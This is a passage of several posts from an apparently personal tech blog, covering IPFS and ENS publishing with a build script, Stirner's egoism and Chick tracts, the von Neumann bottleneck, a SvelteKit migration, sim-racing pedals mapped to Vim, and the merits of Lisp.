And finally, here's proof that I'm famous. See how I have 7 stars? That means I'm good at art.

Currently, I archive all my posts on the Wayback Machine from the Internet Archive, which is a free service and that means not paying them doesn't make them remove my stuff. But I don't think this is enough since all their infrastructure is their own, and while I'm sure they will be around for a long time, there's always the chance that something could go wrong. I just don't think a centralised service is the best way to become immortal.

So far I've looked at IPFS, which I wrote a little about here. It's certainly possible to host a static site like this on IPFS, but it isn't easy. So let's go through what I did.

Ideally, I wanted to be able to publish the site on IPFS without actually changing any of the posts (because I'm lazy). Which means any needed changes will have to be made during the build process through a script. Let's start writing that script now:

# remove old build
rm -r build_ipfs

# run svelte-kit build
npm run export

# svelte-kit has no options to build to a different dir
cp -r build/ build_ipfs/

cd build_ipfs

The first problem is with links.

Given the way that the localhost:8080 and ipfs.io gateway works, absolute links don't work at all. If you try to re-host a website using them onto IPFS, all the absolute links will yank out the /ipfs/ or /ipns/ bit of the URL and replace it with just the linked path (which doesn't exist on the gateway). This is problematic because every link on this blog is an absolute link.

So now our new build process has to convert all the absolute links into relative links. And thankfully, there's an npm package for this: all-relative and now after the initial build we can run that. Let's add it to the script:

all-relative

The next problem is that JavaScript doesn't work. At all.

But that isn't actually that big of an issue for me. The Wayback Machine doesn't support it as well, and there aren't that many posts that need JS. I've put in some effort a while back to make sure this site worked without JS as well for a situation like this.

Next, we can add the build to IPFS.

cd ..
export NEW_CID=$(ipfs add -r --cid-version 1 build_ipfs | tail -1 | cut -d' ' -f2)
echo "New release CID: $NEW_CID"

Now we should be able to access it on the public gateway, for example using the CID outputted:

http://127.0.0.1:8081/ipfs/bafybeifuexczvwdwfbixzwrnaabann5dgwswesaj6noyhgeuedktvyeuma

Great, now this site is reachable on the public IPFS network. But, we've only uploaded our files using the local node. IPFS has a fairly aggressive caching mechanism that will keep an object local for a short time after you perform any IPFS operation on it, but these objects may get garbage-collected regularly. Which means that when our computer goes offline, the website might no longer be reachable after it's cleared from other nodes' cache.

IPFS allows nodes to "pin" files which allows them to always keep the object somewhere. So technically, if enough people pin this website, it will never go down. But I don't think I'm famous enough for people pin this. Instead, most people use a "pinning service" like Pinata Cloud.

This brings more issues however, one is that these services are once again: centralised, and pay-as-you-go, which just brings us back to buying infrastructure to host the blog. What we really want is something decentralised, and either free or paid upfront to store forever.

The answer is blockchain, because of course it is. What else were you expecting?

The Arweave blockchain can store and pin files onto IPFS to keep them available permanently. We're going to use an API from ipfs2arweave which is also free, so that's cool. And we're also going to call the Cloudflare and ipfs.io IPFS gateways first to speed up the propagation of our object.

curl "https://cloudflare-ipfs.com/ipfs/$NEW_CID/" > /dev/null
curl "https://ipfs.io/ipfs/$NEW_CID/" > /dev/null
curl -X POST "https://ipfs2arweave.com/permapin/$NEW_CID"

There's also Filecoin, which does a similar thing and is backed by IPFS. But I have bad memories of a job I had trying to get a Filecoin miner to work, so I don't really want anything to do with the project any more.

Lastly, we'll need to link the IPFS CID to a domain.

The standard way to address IPFS files using a DNS system is to use the so-called DNSLink. It is a TXT DNS record that maps the website URL to its corresponding IPFS CID. But DNS has the pay-as-you-go problem we want to avoid (the longest I've ever seen a domain name bought for is 10 years).

Instead we'll be using ENS.

The Ethereum naming service (ENS) is a decentralized way to address resources. Like DNS, which converts human-readable names to IP addresses, ENS converts human-readable names such as randomplanetfacts.eth.link to Ethereum addresses. These addresses can then be used to point to CIDs on IPFS. Without going into too much detail, ENS aims to fix some of DNS's problems, mainly man-in-the-middle attacks and scalability.

While you can only purchase an Ethereum for a limited amount of time, there is no limit to how long you can hold it (as long as you can pay for it). Right now buying the domain peepeepoopoo.eth (or renewing it, since it's already bought) for 1000 years will cost USD$5003.32. Linking it to an IPFS CID requires you to edit the Content record, which also has a fee attached for each time you want to change the CID.

ENS isn't the best solution however, its "decentralisation" is debatable as someone still owns the .eth TLD. On their FAQ they explain:

The root node is presently owned by a multisig contract, with keys held by trustworthy individuals in the Ethereum community. We expect that this will be very hands-off, with the root ownership only used to effect administrative changes, such as the introduction of a new TLD, or to recover from an emergency such as a critical vulnerability in a TLD registrar.

Since the owner of a node can change ownership of any subnode, the owner of the root can change any node in the ENS tree. This means that the keyholders can replace the contracts that govern issuing and managing domains (on .eth or any other top-level domain), giving them ultimate control over the structure of the ENS system and the names registered in it.

It's not perfect, but I don't think there's a better option. There also isn't really a way I could add this to the build script since it requires an Ethereum wallet, so I'll have to do it manually.

Overall, this was a very confusing experience that took me several days to figure out and I didn't enjoy a single second of it.⁽¹⁾ The current Web 3.0 ecosystem offers some unique features that I actually am looking forward to exploring more, but it's still in a pretty rough state. It does work though, so that must count for something.

Once the protocol gets faster, I think it would also be a good idea to replace my CDN used for images with IPFS. And I would actually like to find a way to do something like this that allows JS to run though, because that's where the real art on this blog is.

I'd also like to have somewhere that on this site that links to the current IPFS CID, but since that would technically change the contents of the blog, it would make a new CID so it would never actually be up to date.

Here is the entire build script for your reference:

#!/bin/bash
# Build and deploy to IPFS

# brew install --cask ipfs
if [ ! -f ~/.ipfs/api ]; then
  echo "IPFS daemon not running"; exit 1;
fi

rm -r build_ipfs
npm run export
cp -r build/ build_ipfs/

cd build_ipfs

find ./post -name '*.html' -not -path 'build/post/spe_*' -exec gsed -i '/type="svelte-data"/d' {} \;

# npm install -g all-relative
all-relative 1>/dev/null

cd ..
export NEW_CID=$(ipfs add -r --cid-version 1 build_ipfs | tail -1 | cut -d' ' -f2)

curl "https://cloudflare-ipfs.com/ipfs/$NEW_CID/" > /dev/null
curl "https://ipfs.io/ipfs/$NEW_CID/" > /dev/null
curl -X POST "https://ipfs2arweave.com/permapin/$NEW_CID"

echo "New release CID: $NEW_CID"

Update 2021-07-09: Okay turns out JS does work, but only through certain IPFS gateways like ipfs.localhost and dweb.link (and not on cloudflare-ipfs.com or ipfs.io). Luckily, the ENS domain directs you to dweb.link so if you go to beanpupper.eth.link, the JS should be running.

It's hard to imagine that any of these bizarre fables actually changed anyone's mind; they were mostly a way for evangelicals to convince themselves they were preaching God's word while taking on all the impersonal efficiency demanded by Mammon. Nearly all of them involved a fantasy drama of conversion to Christianity, in which the ordinary person seemed to have never even heard of Christian ideas but believes them on the spot ("Wow—you're saying Jesus Christ died for my sins? That's so cool!").

• Jack Chick Is Dead but His Horrible, Ridiculous Cartoons Will Never Die, Sam Kriss (Vice 2016)

Chick tracts are honestly one of my most read comics, only topped by xkcd. They're awful, vile, equal parts hate literature and fire-and-brimstone sermonizing. And I've read so many of them, because just as Kriss says,

[they] were entrancing precisely because they seemed so incapable of imagining anyone else's point of view, of even pretending to meet me halfway. They showed a complete, perfect secondary world, one that looked just like this one, but one in which people didn't behave like real people, or talk like them either ("Haw haw haw!"), which was swarming with actual demons, fanged, and ugly—and millions seemed to really think they were living in it.

My favourite tract, of course, is this one.

Because it's correct.

Political ideologies are actually a really boring subject - to learn about, discuss, and critique. I'm generally a person who's very interested in political theory, but even I can't stomach spending hours reading drivel that's either too terse in it's language to parse, or has a prose to flowery to understand, just so the people writing it can feel smarter than everyone else.

But not with Max Stirner.

Developed by an edgy, a-moralist German philosopher from the 18th century, "Egoism" is an ideology that emphasizes the individual over any other kind of guiding principle; that is, the individual should do as they please, not bound by any law or moral code. Social constructs like Christianity, nationalism, morality, capitalism, communism, and even society are called "phantasms", or as they are more commonly known, "spooks". This name comes from Stirner to describe the actions of these institutions as similar to that of ghosts. They are immaterial, but can still have an affect on, or even possess the individual.

"The Unique and Its Property" is a good book. Certainly better than the book about bread that Kropotkin wrote. Stirner uses straightforward, even fairly simple language, filled with passion and sarcasm, to express ideas that are difficult, though probably more in the fact that very few people would want to accept their implications.

Stirner argues that everyone is selfish and aims for their own goals, even the community only aims to benefit the community without regard to others. While those that have trapped themselves into following a "spook" are involuntary egoists only following a doctrine because they believe it is the right thing to do which makes them happy or fulfilled.

The difference between an unwilling and a willing egoist is that the former will be "possessed" by an empty idea and believe that they are fulfilling a higher cause, but usually being unaware that they are only fulfilling their own desires to be happy or secure. In contrast, the latter will be a person that is able to freely choose its actions, fully aware that they are only fulfilling individual desires.

I like Egoism for the same reason I like Chick tracts - the absolute absurdity of it. The difference, however, is that I can actually agree with Egoism on some basis.⁽¹⁾

I don't normally like apply labels to people (but mostly to myself) because I consider them to be a reductive way of describing things. But sometimes they're useful for when there isn't any time to (or I just don't want to) explain something properly, and slapping on a "well-defined"⁽²⁾ label is an easy solution.

In terms of political ideologies, I would be labelled closest as an Anarcho-Syndicalist, which means that I must obviously worship democracy as a method of organisation. And I do, to some extent, I've preached the magnificence of direct democracy on this site plenty of times.

But democracy is a spook and here's why.

Democracy does not as it promises, give everyone the right to influence the decisions affecting them, because a person who voted on the losing side had no influence on that decision. In a winner-take-all system there is no incentive to compensate or conciliate defeated minorities, who have been told, in effect, that not only are they not to get their way, they are also stigmatised as wrong. The unaccountable majority is arrogant; the defeated minority is resentful.

Preference varies in intensity, but consent does not. Where preference is more or less, consent is yes or no. The vote of a person who has only a slight preference for a candidate or measure counts the same as the vote of someone passionately opposed. A majority with slight preferences one way may outvote almost as many strong preferences the other way. To put it another way, the opportunity to influence a decision is not proportionate to one's legitimate interest in the outcome.

Democracy does not account for the individual, the "Unique". It is very spooky.⁽³⁾

People claim that democracy promotes dialogue, but where is the dialogue about democracy itself? People are unaware that it's even possible to critique democracy, as if it's a done deal. We just take it for granted that somebody (Locke? Rousseau? Lincoln? Churchill?) has long since made out a strong case for democracy. They didn't, nobody ever did.

It really is not hard to poke holes in democracy, just turn on the news.

But is there anything better than democracy?

Fascism? Fuck no.

Egoism? No not really, it's too ill-defined, loose, and frankly, kinda stupid.

A society where everyone (not just a few people) is somehow magically maximising how pleased their Unique is, no matter what anyone else thinks or believes, would be more utopian than whatever the Anarchists have come up with.⁽⁴⁾

But, the point is that there is a lot of merit in Egoism either way. An ideology whose existence it seems, is to do nothing but mock others and self-aggrandise, is important to finding the flaws of your own.

Before I go, one last person I want to mention is Diogenes, for obvious reasons.

Stirner explicitly praised Diogenes as a conscious Egoist in The Unique and Its Property.

What else was Diogenes of Sinope looking for if not the true enjoyment of life, which he found in having the least possible wants?

And any time I get to talk about that old public masturbating fart is a good time, so let's do some here. Here's one of my favourite stories about Diogenes from his Wikipedia page.

While Diogenes was relaxing in the morning sunlight, Alexander [the Great], thrilled to meet the famous philosopher, asked if there was any favour he might do for him. Diogenes replied, "Yes, stand out of my sunlight." Alexander then declared, "If I were not Alexander, then I should wish to be Diogenes." "If I were not Diogenes, I would still wish to be Diogenes," Diogenes replied.

This man is my hero.

In conclusion, calling everything a "spook" is the best thing since long, thin, un-sliced bread that's recently been submitted for Unesco heritage status.

If you are confused about all my references to Anarchism and don't know what it is, you can read my last post here ;)

The most abstract notion of what a "computer" is its high level architecture. And every "computer" follows the same von Neumann architecture (some just have extra steps).

In its simplest, a von Neumann computer (which is every computer) has three parts: a central processing unit (or CPU), memory (any place which stores data), and something to transmit data from the CPU to memory and vice-versa (this is called a "bus").

Times have changed, and there are many more elements that go into a computer, but they can all still be simplified into these three things. For our examples, let's pretend that hard drives and RAM are the same thing because they essentially do the same things: store data (it's just that RAM is faster), so they're just going to both be called "memory".

So with our simplified example, here's how a computer executes a program (which sits in memory):

1. The CPU fetches the next instruction of the program from memory.
2. It executes the instruction.
3. If the instruction requires a piece of data, it fetches the data from memory.
4. If the instruction creates data it will need later, it gives the data to memory.
5. If its the last instruction, it's finished, otherwise go to 1.

The task of any program is to change the contents of the memory in some major way, which means endlessly passing data back and forth through the bus. This shared bus between the CPU and memory leads to the "von Neumann bottleneck" as the work that the CPU can do is limited by the data transfer rate of the bus. This can seriously limit the effective processing speed when the CPU is required to perform minimal processing on large amounts of data. The CPU is continually forced to wait for needed data to move to or from memory.

A large part of the traffic in the bottleneck is not just the data but also names of that data, as well as operations and data used only to compute such names. With our current address-based memory architecture, before data can be sent through the bus its address in memory must be in the CPU, so it must either be also sent through the bus from memory or be generated by some CPU operation (operations which also come from memory).

The von Neumann bottleneck was described by John Backus in his 1977 ACM Turing Award lecture. In it he expressed that:

Surely there must be a less primitive way of making big changes in the store than by pushing vast numbers of words back and forth through the von Neumann bottleneck. Not only is this tube a literal bottleneck for the data traffic of a problem, but, more importantly, it is an intellectual bottleneck that has kept us tied to word-at-a-time thinking instead of encouraging us to think in terms of the larger conceptual units of the task at hand. Thus programming is basically planning and detailing the enormous traffic of words through the von Neumann bottleneck, and much of that traffic concerns not significant data itself, but where to find it.

The last sentence, I think is the most important. Many game developers over the past few years have been letting go of object-oriented principles in favour of data-oriented design, which is motivated through efficient use of CPU cache lines, a thing we simplified over in our previous example. Basically, modern CPUs have several caches which can store small amounts of data to alleviate some of the constant back and forth in the buses.

I think it would be easiest to explain the concept with an example.

Imagine we have a city of people and we want to count how many people have the profession of "baker". Using OOP, we'd have a class called Person with an attribute of profression and we'd just loop through each Person object and checking their profession. In C#,⁽¹⁾ it would look like this.

class Person {
  int size;
  string name;
  string profression;
  int age;

  static void Main(string[] args) {
    // an array of 100,000 people
    Person[] people = new Person[100000];

    //
    // give each person in the array their attributes here
    //

    // count bakers
    int bakerCount = 0;
    foreach (Person p in people) {
      if (p.profression == "baker") {
        bakerCount++;
      }
    }

    Console.WriteLine("Number of bakers: {0}", bakerCount);
  }
}

I'm now realising, since I'm not going to actually run this code, I could have just written pseudocode instead of wasting 20 mins looking at C# tutorials. But this should have been easy enough to understand anyway.

Every time you request a byte of memory that is not already present in one of the CPU caches, an entire cache line is fetched from the memory even if you need only 1 byte.

Let's say the address reference to name and profression is 4 bytes each, and the integer age is also 4 bytes, and maybe let's also add another 8 bytes for class headers. That bring the total class size to 16 bytes. If we take in consideration that on a modern CPU the cache line size is 64 bytes, this means we can fetch at most 4 instances per cache line which will make us fetch from memory 25,000 times to get all 100,000 people. But out of those 64 bytes we are only using 16 bytes (4 of the profression references), so we're wasting 48 bytes

In the worst case scenario, the instances are not allocated one after another and we can fetch only one instance per cache line because they aren't in a contiguous block of memory. For the entire city that means we have to fetch from memory 100,000 times and for every cache line fetched we're wasting 60 bytes.

Since fetching the data from memory is expensive and prone to the von Neumann bottleneck, we would prefer to keep the number of memory fetches as small as possible. This could be achieved in two ways:

1. By reducing the amount of data that has to be fetched for our task.
2. By keeping the necessary data in contiguous blocks in order to fully utilize the cache lines.

We can improve this by modelling the entire city at once instead of each individual person.

class City {
  int size;
  string[] names;
  string[] profressions;
  int[] ages;

  static void Main(string[] args) {
    City city = new City();

    //
    // fill the city with people and update `size` here
    //

    // count bakers
    int bakerCount = 0;
    for (int i = 0; i < city.size; i++) {
      if (city.profressions[i] == "baker") {
        bakerCount++;
      }
    }

    Console.WriteLine("Number of bakers: {0}", bakerCount);
  }
}

Both examples are algorithmically equivalent O(n), but the data-oriented solution will outperform the object-oriented one.⁽²⁾

The data oriented example fetches less data and that data is fetched in contiguous chunks (because that's how arrays work). So now we can fetch 16 profression references at once to fill up the cache line without any waste. Since we are only fetching the data that we need, we only have to fetch from memory 6,250 times, a 4x speed-up from our previous best-case scenario, and a 16x speed-up from the worst-case.

I'm sure you could think of some very obvious drawbacks data-oriented design (although most of them come from the fact that C# is object-oriented and not data-oriented, so it doesn't really have the tools to support it), but the point is that - in terms of performance, this is objectively better.

The real problem here is that this is C#, a garbage collected language, I thought I wouldn't have to ever think about memory. Yet here I am, talking about cache lines and contiguous bytes. The abstraction clearly isn't working.

There are very many boring attempts to solve the bottleneck (and they mostly just lessen it's impact instead of "solving" it). Things like CPU caching (as above), branch predicting, and implementing the computer as a "system on chip". My favourite way would completely solve our issue⁽³⁾ above (the wasting bytes in the cache part), and it's good 'ol content addressing.

Content-addressable memories (CAM) are an implementation of memory for an associative computational model. The memory of an associative computer takes some of the responsibility for processing. Only intermediate results are exchanged between memory and processor which greatly reduces the amount of communication between them.

CAM is a memory device that uses a technology similar to the one used in RAMs to store information but, contrary to RAM, the CAM selects the physical location based on the data contents. While the RAM requires the address of the location in which the information is stored, the processor has only to describe the data it wants to access and the CAM selects stored data matching the description.

Valid descriptions of memory words usually include combinations of the following properties: matching a binary pattern, being smaller or larger than a value, being in a range of values, being the largest value stored, and being the smallest value stored within a CAM. These comparisons are performed in parallel with the time required to execute the operation essentially independent from the number of words stored in memory.^[1]

Ahh, content addressing, what can't you do?

Obviously this doesn't solve the von Neumann bottleneck as there's still a bus to transfer data, it's just faster. But isn't faster good enough? I'm pretty content with the speed of my M1 MacBook, so why do I keep railing on von Neumann architecture?

Our fixation on von Neumann languages has continued the primacy of the von Neumann computer, and our dependency on it has made non-von Neumann languages uneconomical and has limited their development.

[…]

The dominance of von Neumann languages has left designers with few intellectual models for practical computer designs beyond variations of the von Neumann computer.

[…]

Furthermore, in an effort to introduce storage and to improve their efficiency on von Neumann computers, applicative systems have tended to become engulfed in a large von Neumann system. For example, pure Lisp is often buried in large extensions with many von Neumann features.

These are more quotes from John Backus' lecture in 1977, and they're still incredibly relevant today 44 years later. We haven't improved at all.

To make an effective computer system and make full use of the computer, you are forced into a single model of thinking. To even use a computer system, you are forced into a single model of thinking.

The "von Neumann correspondence" is the recognition that the problems - technical, conceptual and managerial in computer systems design correspond to certain problems in the user interface.^[2] The communication channels between user and computer have a relatively low capacity in comparison with the memory and CPU of the computer.

A CPU can directly ask for what it wants and completely understand it, but the computer has to represent its information in some way for the user. "Modes" in a user interface arise because of this communication bandwidth bottleneck - information not transferred between computer and user increases "modiness".

A modeless system (or, pedantically, a system with precisely one mode) is a system in which user commands can be viewed as pure state transitions. A modey system is one where commands effect state transitions, but possibly also change the command set.

So a modeless system would be WYSIWYG (what you see is what you get), where there is a simple relation between information transmitted from the computer to the user and the results obtained). That is, what the user can see (information transmitted from computer to user) is what the user gets (information transmitted from computer to results).

Lisp can be considered WYSIWYG (if you're me, and bend the facts enough) because its user interface compares to what data is being processed, where once an expression is evaluated, it is treated as data.

Having to unnecessarily refine the distinction between program and data (or commands and state) is a direct result of von Neumann architecture. Data is finite and program is infinitary (where they could possibly do an infinite number of things). This means, where data can be compared for equality by an effective procedure, a program cannot. Equally, we can observe that a user can compare results and other data for equality by inspection (however tedious this may be), but has no effective procedure for comparing commands.

Non-von Neumann languages permit infinitary data (e.g. lazy structures). Similar distinctions arise in user interface design, for instance between commands the user submits and the data that is being manipulated. In a "non-von Neumann" user interface, the user could manipulate commands (program) as data (like with "undoing").

Modes and WYSIWYG are generally recognised as major issues in the design of easy to use interactive systems. Typically, claims are made that "good" systems are WYSIWYG and have few modes.

I don't think I'm saying what I want to say very clear. So let's back up for a bit.

In order to work with a computer system (effectively), you need to understand how the computer system works (as in, you do what the computer wants and not the other way around). I know this is completely okay with you, because you know how a computer works. That's great dude. But most people don't.

The most high-level programming languages hide their abstractions and suffer from it, making them less useful then they could and should be. The simplest and most intuitive UIs hide their implementation detail and suffer from it, making them less useful then they could and should be.

There are numerous indications that the applicative style of programming can become more powerful than the von Neumann style. Therefore it is important for programmers to develop a new class of history-sensitive models of computing systems that embody such a style and avoid the inherent efficiency problems that seem to attach to lambda-calculus based systems. Only when these models and their applicative languages have proved their superiority over conventional languages will we have the economic basis to develop the new kind of computer that can best implement them. Only then, perhaps, will we be able to fully utilize large-scale integrated circuits in a computer design not limited by the von Neumann bottleneck.

Have some imagination, use Lisp, and one day, maybe we'll be able to write Haskell without monads.

Okay, for real - this time is the last time. And I really mean it, I'm getting too lazy to bother with making changes and spending too much time trying to figure out how this blog should be built. I have plans for the far future, and it'll be hard to get those setup if this blog keeps changing.

But this was necessary. Sapper the previous web framework I used, is being deprecated in favour of SvelteKit. Obviously, I could have just kept with Sapper and it still would have worked fine, but I'd rather be using something that isn't deprecated when I get to those future plans.

Unfortunately, SvelteKit is still pre v1.0 which means a bunch of stuff is probably going to change in the future. But I've always found Svelte to be pretty stable, so hopefully there won't be that much to change.⁽¹⁾ Maybe, I should have waited, but I'm very impatient and I was pretty excited for it's release.

SvelteKit's docs give a pretty straightforward migration guide from Sapper. And it only took me a few hours to read SvelteKit's documentation and do a complete migration of this blog.

One of the things that caught me off guard was having to add "type": "module" to the package.json. Apparently, this enables ES Modules which forces you to use import x from 'x' when importing syntax, where before you could also use the CommonJS syntax of const x = require(x). Not a big deal, it's better this way, but it was annoying having to change imports and exports in everything.

SvelteKit also uses client-side router that intercepts navigations (from clicking on links or the back/forward buttons) and updates the page contents (as opposed to the browser handling the navigation by reloading), even when you use the static site adapter and export everything into static files.

I hate this, this is a static site and a client side router makes it feels too SPA-like and sluggish. This site is hosted in Germany and I live in Australia so because of the latency, when I would click a link it would stay on the same page for ~1 second and then change (like a SPA). This was an easy change by adding router: false to svelte.config.cjs. Ultimately the time taken to load the page is about the same, but it feels more responsive when the browser actually loads the page.⁽²⁾

With SvelteKit's SSR, it always hydrates server-rendered HTML into an interactive page. I found that it was adding JS to pages where it wasn't being used at all on the client side, like /post and /about. Thankfully, you can add export const hydrate = false; to each of your pages where JS isn't being used to disable hydration.

You could also use the hydrate option in the svelte.config.cjs file, but that will disable JavaScript for every page (because the router is also disabled) and that was a no-no since I use JS on this page,⁽³⁾ and will use JS for the aforementioned "far future plans".

Anyway, those were all back end changes that nobody except me would have noticed. So I decided to do a few things to the front end.

The most obvious is that the /post route looks like this.

First, let's address the elephant in the room: What is up with the inconsistent gaps between each post? Why is there more French now?

I don't think there's more French, I've just added more words to the page. It's just that they're in French.

If you scroll down the page and pay attention to the gaps between each post, I hope you'll notice that they correspond with the intervals between the dates of each post. It's meant to directly visualise how much of a "gap" there is between each one (in both space and time). The page title's change from "articles" to "chronologie", was made to help clarify it.⁽⁴⁾

Originally, I thought of going for an actual "timeline" view, separating everything by dates and stuff, but that became too cluttered and took too much space.

So really, I just thought it was an interesting idea (I haven't seen anyone layout their stuff like this before), and I liked it enough to keep it. It also will help to serve the ideas of the "far future plans", assuming these plans turn out how I'm thinking they will, if they ever become realised at all.

And the bar below the title of the posts are just the "read time". I didn't really think too hard about that one.

This means you can use keystrokes for standard typing and not have to worry about additional "hotkey" commands to control audio functions, and using fewer keystrokes also generally improves your writing speed.

I don't really know what goes into looking for a good foot pedal for this process, but I've seen several pedals go over $100 like the Philips ACC2330 which is $195. This probably means that there must be some very small but vocal community of transcribers out there somewhere, so I'm going to stop talking about this before I get something wrong and they start cancelling me.

Vim Clutch by Aleksandr Levchuk is an attempt at using a foot pedal for text editing in Vim. It's a quick read, but in case it ever gets taken down for some reason (who knows what the reason could be, the Internet is a wild place these days haha), I'm going to summarise it here.

Basically, they bought 2 cheap $10 programmable pedals and tried to make it so that when the pedal is pressed down, the pedal types i which puts Vim in "insert" mode and when it is released, it types <esc> putting it back to "normal" mode.⁽¹⁾

One of the problems was that only the "pedal down" event could be programmed, so they then took both pedals apart and used incredibly complicated electrical engineering that no mere mortal could possibly understand to take the sensor out of one pedal and put it into the other, giving them one pedal that can be programmed on the press+release and some junk plastic.

This is all well and good. It seems like it could be pretty useful, like with how transcribers use them.

There is a one problem however. I'm a member of the very small but vocal sim-racing community, and I have to say that this makes no sense and I want Aleksandr Levchuk CANCELLED.

Why is it called Vim Clutch?

If anything it acts more like a car's throttle pedal instead of it's clutch pedal, where being in insert mode let's you add more text, with which I could vaguely make analogies to a car accelerating if I bend the facts enough.

In a car,⁽²⁾ the clutch pedal is for disengaging the clutch so a different gear can be chosen. So really, when you press the "clutch" down it should go into "normal" mode where you can then chose which "mode" or "gear" to go into.

Now you might say:

"Are you kidding me Justin? This isn't about cars, those transcribers don't pretend their pedals are for cars, why are you doing this?"

IT BECAME ABOUT CARS WHEN "CLUTCH" WAS PUT IN THE TITLE YOU INSOLENT FUCK.

Anyway, today we're going to do this better.

Instead of that crappy on/off switch type foot pedal, I have proper 12 bit resolution Fanatec CSL Elite Pedals with the Loadcell Brake extension, which uses glorious potentiometer sensors to give 16 bits for optimum breaking performance. And it's also made out of full-metal aluminium instead of that shitty plastic that turtles are going to choke on, because if a turtle tried to eat my pedals they will break their mouth.

Don't ask how much they cost and ignore the cables.

Since I have three pedals, this means I can map them to more Vim commands, which means I can write better, and that makes me a better person (in general).

If you disagree, at the end of their document, Levchuk says something about ordering a "triple version" of the pedal, but they haven't done it yet and it's been over 9 years, so I don't think it's going to happen. This makes me pretty confident in my statement.

But since we're here, let's see what Levchuk wanted to do with three pedals.

PC Sensor also has a triple version of the pedal. I will order two of those as well. I will program:

• The left pedal to "I" - insert at the beginning of the line
• The middle pedal to "i" - regular insert mode
• The right pedal to "A" - insert at the end of the line

I am so mad right now, I'm actually shaking.

Not only did they have the nerve to call the "clutch", "break", and "throttle" pedals "left", "middle", and "right" instead, all of them are for going into normal mode (which we all⁽³⁾ agreed is analogous to accelerating). So these pedals would all be throttles! I'm going to cry.

To fix this, we can use our proper sim-racing pedals with a program called JoyToKey,⁽⁴⁾ which gives us a GUI to allow a game-pad (or our pedals) to emulate the keyboard.

First, let's fix "Vim Clutch" and put it on the actual clutch pedal. For me, JoyToKey has my clutch on the horizontal axis of "Stick 2" (I don't think this program is really designed for pedals, but I am impressed that it worked for me without any setup).

So, if you open the "Stick 2: ->" button assignment and go to the "Keyboard (Multi)" tab you'll see this.

Make sure to check the button at the bottom that says "[Input1] when the button is release (and [Input2] when it's pressed)", we're going to use this for all our bindings.

Now we can add binds for "Input2" to become <esc> and "Input1" to be i, reversing the original Vim Clutch by making it an actual clutch. Now when we want to go into "normal" mode we press the clutch, and when we go into "insert" mode we release it.

The thing is though… I actually spend most of my time in "normal" mode, which means I'm going to have the clutch pressed most of the time, and that doesn't make sense from a car perspective.

So change of plans, we keep the original Vim Clutch but move it to the throttle pedal. This also means it should be renamed to Vim Throttle.

Now we can map the break pedal to… uhh… we can map it to "backspace"? But that makes it more like a "reverse" pedal, which doesn't exist. Okay, let's think through this: breaking, breaks, stopping, quitti- HOW DO YOU QUIT VIM? Of course!

We can map the break pedal to :q, and now I won't have to refer to that StackOverflow question every time I want to quit!

No, I'm kidding of course, that would be ridiculous. Maybe we can have : on "Input2" (when pressed) and <enter> on "Input1" (when released), so it's easier to type commands like :q.

And finally, the clutch pedal. Hmm. Maybe "visual" mode? I can't really think of anything. I haven't even been able to use the full 12/16 bit resolution of these pedals. It's almost as if there isn't that much you do with pedals made specifically for sim-racing, and that you can't really apply the process of driving a car to a 30 year old modal text editor.

Which just means we need a new text editor.

So, let's brainstorm a new, perfect text editor. One that doesn't just use the pedals, but our entire sim-racing rig.

On the screen will be a horizontal list of characters, and you use your Fanatec ClubSport Steering Wheel Formula V2 connected to your Fanatec Podium Wheel Base DD1 to select a character by turning the wheel left or right.

The carbon fibre construction of the ClubSport wheel, will make those rotations a breeze, and you could even have the selected character shown on it's LED display. The Podium Wheel Base is there to provide responsive and realistic feedback when doing any action with it's first-class direct drive motor.

Pressing the throttle scrolls the cursor to the right, and wraps to the next line when it gets to the end of the current line (and back to the top of the document when it gets to the end). With the 12 bit resolution of the Fanatec CSL Elite Pedals, you'd even be able to granularly change how fast it moves.

The character selected by your wheel is inserted automatically every few seconds (depending on your RPM), so you use your break pedal to completely stop the insertion. Once again, with the 16 bit resolution of the Loadcell Brake extension for your Fanatec CSL Elite Pedals, you get even more options on how much breaking force you can apply.

You can change modes with your Fanatec ClubSport Shifter SQ when the clutch is pressed in. Vim only has three modes, but the Fanatec ClubSport Shifter SQ uses a 7 gear H-pattern layout, which means we can have 8 modes (including reverse)!

Does this make any sense? No. But, if the sim-racing community has taught me anything, if I can become a better driver by buying more expensive gear, then surely I'll get better at text editing too! And besides, now you can heel-toe in your text editor.

This post is not sponsored by Fanatec.

I think it's about time, as a member of the Lisp cult, to write my obligatory blog post about why Lisp is the best programming language. I've alluded to this in the past when talking about other languages I like.

• Things I Like About Object-Oriented Programming

[…] Elixir has the best modularity of any functional language (that's not a Lisp) […]

• Stop Picking On The Borrow Checker ;(

[…] Rust is the most well designed language for developer UX (that isn't a Lisp) […]

But Lisp isn't the best language because of "functional programming", or "type soundness", or "local reasoning", or "correctness", or any other of that nonsense that lesser languages need in order to compete with each other.

No, leave that crap for the children to fight over.

Lisp is the best programming language because it's the only programming language. The emphasis on language is important here.

Most programming languages have several syntax rules. Lisp has one: everything is a list.⁽¹⁾ The first element is a function name, and the rest are its arguments. Thus, the language is simply a collection of compile and run-time functions, trivially extensible.

Lisp, created in 1959, is the oldest language in widespread use. Because Lisp programs are just a simple data structure, Lisp has a powerful macro facility which can be used to extend the basic language. When new styles of programming were invented, other languages died out and Lisp simply incorporated the new styles by defining some new macros.

Lisp is the only descriptive programming language.

A natural languages' "descriptive grammar" is a linguist's description or model of the mental grammar, including the units, structures and rules. It's an explicit statement of what speakers know about their language. This is in contrast to a "prescriptive grammar", where rules of grammar are brought about by grammarians' attempts to legislate what speakers' grammatical rules should be, rather than what they are.

Imagine adding object orientation to the C and Scheme programming languages. Making Scheme object-oriented is a sophomore homework assignment. On the other hand, adding object orientation to C requires the programming chops of Bjarne Stroustrup.

The consequences of this divergence in needed talent and effort cause The Lisp Curse:

Lisp is so powerful that problems which are technical issues in other programming languages are social issues in Lisp.

Other languages try their hardest to force you into their syntactical rules (looking at you, Go), they have specifications with thousands of words specifying every little lexical element that you MUST use or the compiler will scream and throw the language whitepaper at your face.

Not Lisp. Lisp just hands you a pair of these lovely boys () and says, "these are my favourite parentheses, they're called 'special expressions'. You can use them to do whatever you want."

In other languages you fit your problem to the language; with Lisp you extend the language to fit your problem.

But sure, maybe you want to be screamed at. Maybe you like reading language specifications. Maybe you want to do things the "right" way. That's fair, some people need to be hand-held by the language designers so they know what they're supposed to do. But maybe, instead of relying on your language to determine what's "correct", you should try…

Being a better programmer.

Lisp is the only language with actual dialects.

Every natural language is part of a family (eg. English is part of the Indo-European family along with Spanish, French, German, etc.)⁽²⁾ and can have several dialects, that are the variety of that language whose grammar differs in systematic ways from other varieties (eg. British English, African-American Vernacular English, Australian English, etc.).

